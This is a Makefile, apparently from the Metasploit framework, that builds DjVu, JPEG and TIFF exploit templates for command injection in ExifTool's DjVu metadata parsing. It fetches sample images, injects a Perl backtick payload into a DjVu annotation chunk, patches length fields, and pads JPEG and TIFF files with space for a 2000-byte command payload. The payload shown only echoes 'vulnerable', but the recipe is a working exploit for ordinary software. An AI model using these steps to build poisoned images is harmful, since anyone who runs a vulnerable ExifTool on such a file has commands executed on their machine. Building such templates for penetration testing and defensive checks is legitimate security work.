.PHONY: all clean msf.djvu msf.jpg msf.tif

all: msf.djvu msf.jpg msf.tif

clean:
	rm -f msf.djvu msf.jpg msf.tif

msf.djvu:
	curl -L https://github.com/exiftool/exiftool/raw/ca8685788f5763c547349f239764bd19cf1952da/t/images/DjVu.djvu -o $@
	djvused -f set_author.dsed -s $@
	# Rewrite the ANT section as uncompressed data with an 'echo vulnerable' payload
	perl -0777 -pi -e 's!DJVIANTz.*!DJVIANTa\x00\x00\x00\x39(metadata (Author "\\c\@{[`echo vulnerable > /dev/tty`]}"))!s;' msf.djvu
	# Fix up some length fields
	perl -e 'print "\x00\x00\x00\xeb"' | dd of=$@ bs=1 seek=8 count=4 conv=notrunc
	perl -e 'print "\x00\x00\x00\x45"' | dd of=$@ bs=1 seek=174 count=4 conv=notrunc
	# Test the file
	djvudump $@

msf.jpg:
	curl -L https://github.com/exiftool/exiftool/raw/a2500333f845b303b86013110651d219e193d3eb/t/images/Writer.jpg -o $@
	# Scrub the file
	exiftool -overwrite_original -all= $@
	# Create a cave big enough for the djvu template plus a 2000 byte CMD payload
	exiftool -overwrite_original -processingsoftware=$$(perl -e 'print "z"x2221') $@
	# Change the 'Processing Software' field to a HasselbladExif field
	sed -i 's/\x00\x0b/\xc5\x1b/' $@

msf.tif:
	curl -L https://github.com/exiftool/exiftool/raw/a2500333f845b303b86013110651d219e193d3eb/t/images/ExifTool.tif -o $@
	# Scrub the file
	exiftool -overwrite_original -all= $@
	# Selectively scrub IFD0 fields
	exiftool -overwrite_original -ImageDescription= -Make= -Model= -Software= -ModifyDate= $@
	# Create a cave big enough for the djvu template plus a 2000 byte CMD payload
	exiftool -overwrite_original -processingsoftware=$$(perl -e 'print "z"x2221') $@
	# Change the 'Processing Software' field to a HasselbladExif field
	sed -i 's/\x00\x0b/\xc5\x1b/' $@